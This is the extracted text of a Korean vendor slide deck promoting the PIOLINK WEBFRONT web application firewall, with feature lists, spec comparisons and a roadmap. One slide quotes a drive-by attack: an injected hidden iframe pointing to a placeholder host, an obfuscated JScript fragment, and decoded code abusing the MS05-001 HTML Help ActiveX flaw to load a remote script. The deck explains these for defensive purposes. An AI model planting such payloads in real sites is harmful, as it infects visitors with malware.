WEB DB port 80443 3 tier Third Party
WEB은 왜 취약한가? • 구조적인 취약성 – 접근성: 내부 DB 시스템까지 접근하는 유일한 통로. (기존 방화벽은 port 80/443를 열어 놓음) – 모듈화: 3 -tier의 별도의 모듈이 결합되고 Third Party에 의해 개발됨. – 원격 제어: 원격의 사용자에 입력에 따라 명령어 수행. 3 Tier Architecture ADO, ODBC, etc. . HTTP request (cleartext or SSL) Web Server Web Client IE, Firefox, Netscape, Oprea 방화벽/IPS HTTP reply (HTML, Javascript, VBscript, etc) Apache, IIS, IBM, Sun, Zeus, etc Web app Websphere, OAS, Weblogic, JSP, Netscape, Perl, C/C++, etc Connector DB Oracle, MS-SQL, Informix, My. SQL Postgre. SQL, Sybase, etc
중국 발 해킹 - 시나리오 최근 중국측에서 홈페이지 변조 후 홈페이지 메인 페이지에 IFRAME을 삽입시켜 해커 컴퓨터의 특정 악성 페이지를 열람하도록 하여 일반 사용자가 변조된 홈페이지 방문 시 악성 프로그램이 설치되는 기법들을 주로 사용. 1 3 신뢰있는 기업의 홈페이지 서버 해킹 후 악성 스크립트 삽입 INTERNET 사용자 정보 획득 악성 IFRAME 삽입 IFRAME TAG 삽입 </map> <% 'Server. Execute "FX_xxxx. asp" %> <!-- // --><iframe src="http: //www. xxxx. com/code. html" width="0" height="0"></iframe> </body></html> 악의적인 사용자(Cracker) 2 사이트 이용자 사이트 방문시 악성코드 감염 http: //www. xxxx. com/code. html 공격자 홈페이지에 있는 공격 코드 <HTML> <script type="text/JScript. Encode">#@~^2 REAAA==@!e. OR www. xxxx. com/code. html @#@&7 l. D, 3 z? DD~', J)$; f 2 w!C&9|dHrh. J, _@#@&E}"? Pjj(I}C 81 N+WE, _@#@&r. L 4 k%0 Vsx. Wa; Md. Y!EP 3@# Decoding된 공격 코드 decoding @&ES 6 X. TFy&cl {%O_JJ~_@#@&r'Ei@#@&0!x^Ob <OBJECT id="cnbore 2" type="application/x-oleobject“ Wx~n m. GN W`r w!Y#, classid="clsid: adb 880 a 6 -d 8 ff-11 cf-9377 -00 aa 003 b 7 a 11"> @#@&k. . . CVb. N, 4 C/n WP^tm. l 1 Yn. k. Pk. U~Dtn. Pb. Ua. EO, Y 6 Yc<PARAM name="Item 1" EP 3@#@&Jjlsr 9 P 4 md++c. P 14 CDmm value='command; javascript: eval("document. write("<SCRIPT D+. /~CM+~b t~, l. R"BP! src=\"http: //www. hackxxxx. com/xxxxx/bbs 003302. gif\""+String. from. Cha r. Code(62)+"</SCR"+"IPT"+String. from. Char. Code(62))")'> - Javascript. Encode로 인코딩 된 것을 확인 - MS 05 -001 HTML Help Control Active. X 취약점 이용한 공격 코드
웹 공격의 유형 • ‘입력값 검증 부재’를 이용한 공격 예 Parameter tempering Invalid Method Forceful browsing Buffer overflow Cookie Poisoning
웹 방화벽과 기존 보안장비와 차이점 Nimda LANd Buffer Overflow SQL Inj cmd. exe Telnet DOS Web XSS Code Red 웹 방화벽 Net. BIOS 방화벽 IPS Server
WEBFRONT 보안 기능 - Request Validation 웹 보안의 가장 중요한 기능으로 클라이언트가 웹 서비스에 대한 요청을 보냈을 때 악의적 인 요청 및 침입을 검사하여 차단 방어하는 기능입니다. 요청 검사 (Request Validation) 클라이언트 사용자 요청 User Request 정상 요청 검사를 통과한 요청 웹 서버 불법 요청 세부항목 q 어플리케이션 접근 제어 (Application Access Control) q 버퍼 오버플로우 차단 (Buffer Overflow Prevention) q 폼 필드 무결성 검사 (Form Field Integrity Inspection) q SQL 삽입 차단 (SQL Injection Prevention) q 폼 필드 형식 검사 (Form Field Format Inspection) q 스크립트 삽입 차단 (Cross Site Scripting Prevention) q 쿠키 무결성 검사 (Cookie Integrity Inspection) q 검사 회피 차단 (Evasion Detection) q 쿠키 형식 검사 (Cookie Format Inspection) q 요청 형식 검사 (Request Header Validation) q 쿠키 접근 제어 (Cookie Access Control) q 요청 방법 검사 (Request Method Validation) q 과다 요청 검사 (Request Flood Inspection) q WISE Filter™
WEBFRONT 보안 기능 - Cloaking 서버 존을 가상화하고 서버 정보의 유출을 차단하여 클라이언트에게 실제 서버 존의 위치와 서버 정보를 숨기는 기능입니다. 웹 서버 클라이언트 위장된 응답 서버응답 Server Reply 서버 위장 (Cloaking) Cloaking Information URL 상세 주소 IP Address TCP Port Number 서버의 개수, 종류 세부항목 WAS type q URL 변환(Bi-directional URL Translation, WAT) q 부적절한 에러 처리(Improper Error Handing) q 서버 정보 위장 (Server Masquerading) q 서버 부하 분산 (Server Load Balancing) Operating System Version Numbers Patch Levels
PIOLINK 제품 로드맵 State of the Art Platform Design Enables Groundbreaking Performance 10 G New-10 G WF Analyzer Equipment Management System WF-XG Security Manager PAS 5000 Multi giga PAS 4500 PAS 4000 Giga 9 G PB 2000 100 M PAS 8000 0~3 G + 8~24 10/100 M PB 1508/PB 1016 8~16 10/100 Base. T 2002~2003 PAS 3000 WF-SE High Performance Flexible Multi Giga I/F Switch 2 G + 8~16 10/100 M Parallel Contents Processing Engines boost true L 7 switching and Security functions PAS 1700 8~16 10/100 M 2004 2005 2006 2007 2008
WEBFRONT의 제품 구성 및 주요 스펙 • WEBFRONT 시리즈 PIOLINK WEBFRONT-XG WEBFRONT-SE Interface 16 UTP Gig 16 Fiber Gig Power Dual Hardware Bypass 2 Port Switch Backplane 88 Gbps 88 Gbps TPS 60, 000 30, 000 Throughput 4 Gbps 1. 5 Gbps Concurrent Session 2, 000 1, 000 제품명 비고 외관 Combo 형태 Copper
경쟁제품비교 • vs WEBFRONT-XG 제품명 PIOLINK WEBFRONT-XG Net. Continuum NC-2000 F 5 Networks BIGIP-6800 Citrix Teros APS-200 i. MPERVA G 16 16 UTP Gig 4 Fiber Gig 2 UTP Gig 6 UTP Gig (Max 4 Fiber) 외관 2 UTP Gig (2 Fiber Option ) Interface 16 UTP Gig 16 Fiber Gig Hardware Bypass 2 Port X X X O (Inline Failopen I/f) Switch Backplane 88 Gbps X 44 Gbps x x TPS 60, 000 40, 000 N/A 8, 000 16, 000 Throughput 4 Gbps 800 Mbps 1 Gbps 300 Mbps 2 Gbps Concurrent Session 2, 000 1, 000 2, 000 500, 000 1, 000
경쟁제품비교 (~계속) • vs WEBFRONT-XG/SE 모니터랩 WI-1000 팬타시큐리티 WAPPLE 1000 Interface 16 UTP Gig 16 Fiber Gig 4 UTP Gig 2 Fiber Gig 2 UTP Gig Hardware Bypass 2 Port Switch Backplane 88 Gbps Appliance TPS 60, 000/30, 000 9, 000 10, 000 Throughput 4 Gbps/2 Gbps 1 Gbps Concurrent Session 2, 000/1, 000 500, 000 제품명 PIOLINK 외관
WEBFRONT 성능 평가 (고객 평균) TPS/CPS 60 K 30 K Concurrent 2 M Sessions 1 G 1 M 4 G Throughput (bps) 상 최상 고객 요구 수준 Latency WEBFRONT-XG 성능 WEBFRONT-SE 성능
WEBFRONT 고성능의 이유 기존 Proxy 방식 성능 저하 • C/S 개의 Socket 통신에 대한 overhead • 모든 커넥션이 Network Stack을 거치면서 발생하는 Overload -> 고성능 H/W로도 성능의 한계 Server Client WEBFRONT State Machine 기반 처리 방식 • 단순화된 Sate Machine 기반의 Delay Binding 구현 • TCP Overhead/Network Stack 단순화 -> 고성능 서비스 가능 * 특허출원번호 : 제 10 -2004 -0048404호 Client Server
SSL 가속 (Option) HTTPS HTTP q 적용 모델 • WEBFRONT SE / XG q 성능 5000 cps, 10000 cps • 5, 000 TPS, 10, 000 TPS 라이센스 발행 q 기능 • 해시 알고리즘(Hash Algorithms) – Message Digest 5 (MD 5) – SHA 1 • 악수 프로토콜(Handshake Protocol) – SSL 3. 0/3. 1/TLS 1. 0 – SSL 2. 0 (Client Hello) – 세션 재사용(Session reuse) – 세션 재협상(Session renegotiation) • 알고리즘 – RC 4, DES, 3 DES, RSA, DH, DSA • 감시(Monitoring) – SSL 세션에 대한 다양한 통계 및 감시 기능 • SSL 세션 ID 지속(Stickiness) – SSL 모듈은 세션의 지속성을 유지함
WEBFRONT-부가기능 Server Load Balancing Network Security Telne t 클라이언트 FTP 웹 페이지 요 청 HTTP 요청 전 송 HTTP/ S Ping of Death TCP 세션 연결 HTTP 응답 전 송 Web Servers Do. S/DDo S Web Applicatio ns Database Net. BIOS HTTP 요청 버 퍼링 & 실제 서버 선택 & HTTP 요청 전 송 SQL injection 쿠키변조 WOR M Buffer Overflow Virus Scan 방화 벽 IP Spoofing S IP WEB Applicati on Firewall Web Zone Transparent/High Availability HTTP 응답 전송 웹서 버 라우터 네트워크 방화 벽 웹 서버 WEBFRONT
Q&A
- Slides: 64